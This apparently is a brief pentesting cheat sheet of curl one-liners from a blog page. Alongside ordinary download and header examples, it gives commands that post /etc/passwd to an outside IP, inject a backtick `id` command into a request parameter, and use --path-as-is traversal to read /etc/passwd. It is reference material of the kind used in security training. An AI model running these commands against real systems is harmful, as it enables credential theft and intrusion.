Write into a file:
curl $url -o /tmp/f.txt
curl $url --output /tmp/f.txt
curl $url > /tmp/f.txt
Post a local file:
curl -X POST --data-binary @/etc/passwd http://192.168.49.53:21/
Execute command and return the result:
curl -d q=`id` http://localhost:21/
With a header
curl --header "Host: localhost" 10.10.10.10
Use the correct path also with ../ (usefull for file traversion attacks):
curl --path-as-is $target:$port/public/../../../etc/passwd
Leave a Reply
You must be logged in to post a comment.